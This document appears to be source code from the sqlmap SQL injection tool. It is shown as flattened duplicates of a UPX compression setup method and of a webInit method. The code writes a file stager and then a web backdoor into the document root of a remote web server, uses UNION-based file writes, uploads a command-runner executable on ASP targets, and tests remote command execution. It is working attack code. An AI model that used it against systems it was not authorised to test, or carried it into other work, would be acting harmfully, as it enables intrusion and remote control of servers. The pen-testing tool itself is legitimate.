def __initialize(self, srcFile, dstFile=None): if PLATFORM == "mac": self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH elif PLATFORM in ("ce", "nt"): self.__upxTempExe = decloakToMkstemp("%s\upx\windows\upx.exe_" % paths.SQLMAP_CONTRIB_PATH, suffix=".exe") self.__upxPath = self.__upxTempExe.name self.__upxTempExe.close() #needed for execution rights elif PLATFORM == "posix": self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH else: warnMsg = "unsupported platform for the compression tool " warnMsg += "(upx), sqlmap will continue anyway" logger.warn(warnMsg) self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile) if dstFile: self.__upxCmd += " -o %s" % dstFile
def __initialize(self, srcFile, dstFile=None): if "darwin" in PLATFORM: self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH elif "win" in PLATFORM: self.__upxTempExe = decloakToMkstemp("%s\upx\windows\upx.exe_" % paths.SQLMAP_CONTRIB_PATH, suffix=".exe") self.__upxPath = self.__upxTempExe.name self.__upxTempExe.close() #needed for execution rights elif "linux" in PLATFORM: self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH else: warnMsg = "unsupported platform for the compression tool " warnMsg += "(upx), sqlmap will continue anyway" logger.warn(warnMsg) self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile) if dstFile: self.__upxCmd += " -o %s" % dstFile
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() infoMsg = "trying to upload the file stager" logger.info(infoMsg) default = None choices = ('asp', 'aspx', 'php', 'jsp') for ext in choices: if conf.url.endswith(ext): default = ext break if not default: if Backend.isOs(OS.WINDOWS): default = "asp" else: default = "php" message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break kb.docRoot = getDocRoot() directories = sorted(getDirs()) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName) originalBackdoorContent = backdoorContent = backdoorStream.read() stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) success = False for docRoot in arrayizeValue(kb.docRoot): if success: break for directory in directories: uriPath = "" if not all(isinstance(_, basestring) for _ in (docRoot, directory)): continue directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/') docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/') # '' or '/' -> 'docRoot' if not directory: localPath = docRoot uriPath = '/' # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3' elif not isWindowsDriveLetterPath(directory) and directory[0] != '/': localPath = "%s/%s" % (docRoot, directory) uriPath = "/%s" % directory else: localPath = directory uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot if docRoot in uriPath: uriPath = uriPath.replace(docRoot, "/") uriPath = "/%s" % normalizePath(uriPath) else: webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url) if webDir: uriPath = "/%s" % webDir else: continue localPath = posixpath.normpath(localPath).rstrip('/') uriPath = posixpath.normpath(uriPath).rstrip('/') # Upload the file stager self.__webFileInject(stagerContent, stagerName, localPath) self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath) self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName) self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/') uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" not in uplPage: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % localPath singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager via " infoMsg += "UNION technique" logger.info(infoMsg) stagerDecloacked = decloakToMkstemp(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) self.unionWriteFile(stagerDecloacked.name, self.webStagerFilePath, "text") uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" not in uplPage: continue else: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % localPath warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webApi == "aspx": kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I) kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl) logger.info(infoMsg) if self.webApi == "asp": runcmdName = "tmpe%s.exe" % randomStr(lowercase=True) runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName) match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName) backdoorStream.file.truncate() backdoorStream.read() backdoorStream.seek(0) backdoorStream.write(backdoorContent) if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " getOutput = readInput(message, default="Y") if getOutput in ("y", "Y"): self.__webFileInject(backdoorContent, backdoorName, localPath) else: continue self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = localPath self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/') testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) success = True break
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() infoMsg = "trying to upload the file stager" logger.info(infoMsg) default = None choices = ('asp', 'aspx', 'php', 'jsp') for ext in choices: if conf.url.endswith(ext): default = ext break if not default: if Backend.isOs(OS.WINDOWS): default = "asp" else: default = "php" message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break kb.docRoot = getDocRoot() directories = sorted(getDirs()) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorStream = decloakToNamedTemporaryFile( os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName) originalBackdoorContent = backdoorContent = backdoorStream.read() stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerContent = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) success = False for docRoot in arrayizeValue(kb.docRoot): if success: break for directory in directories: uriPath = "" if not all( isinstance(_, basestring) for _ in (docRoot, directory)): continue directory = ntToPosixSlashes(normalizePath(directory)).replace( "//", "/").rstrip('/') docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace( "//", "/").rstrip('/') # '' or '/' -> 'docRoot' if not directory: localPath = docRoot uriPath = '/' # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3' elif not isWindowsDriveLetterPath( directory) and directory[0] != '/': localPath = "%s/%s" % (docRoot, directory) uriPath = "/%s" % directory else: localPath = directory uriPath = directory[2:] if isWindowsDriveLetterPath( directory) else directory docRoot = docRoot[2:] if isWindowsDriveLetterPath( docRoot) else docRoot if docRoot in uriPath: uriPath = uriPath.replace(docRoot, "/") uriPath = "/%s" % normalizePath(uriPath) else: webDir = extractRegexResult( r"//[^/]+?/(?P<result>.*)/.", conf.url) if webDir: uriPath = "/%s" % webDir else: continue localPath = posixpath.normpath(localPath).rstrip('/') uriPath = posixpath.normpath(uriPath).rstrip('/') # Upload the file stager self.__webFileInject(stagerContent, stagerName, localPath) self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath) self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName) self.webStagerFilePath = ntToPosixSlashes( normalizePath("%s/%s" % (localPath, stagerName))).replace( "//", "/").rstrip('/') uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" not in uplPage: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % localPath singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager via " infoMsg += "UNION technique" logger.info(infoMsg) stagerDecloacked = decloakToMkstemp( os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) self.unionWriteFile(stagerDecloacked.name, self.webStagerFilePath, "text") uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" not in uplPage: continue else: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % localPath warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webApi == "aspx": kb.data.__EVENTVALIDATION = extractRegexResult( r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I) kb.data.__VIEWSTATE = extractRegexResult( r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl) logger.info(infoMsg) if self.webApi == "asp": runcmdName = "tmpe%s.exe" % randomStr(lowercase=True) runcmdStream = decloakToNamedTemporaryFile( os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName) match = re.search( r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue backdoorContent = originalBackdoorContent.replace( "WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName) backdoorStream.file.truncate() backdoorStream.read() backdoorStream.seek(0) backdoorStream.write(backdoorContent) if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) self.webBackdoorUrl = "%s/Scripts/%s" % ( self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.__webFileStreamUpload( backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " getOutput = readInput(message, default="Y") if getOutput in ("y", "Y"): self.__webFileInject(backdoorContent, backdoorName, localPath) else: continue self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = localPath self.webBackdoorFilePath = ntToPosixSlashes( normalizePath("%s/%s" % (localPath, backdoorName))).replace( "//", "/").rstrip('/') testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) success = True break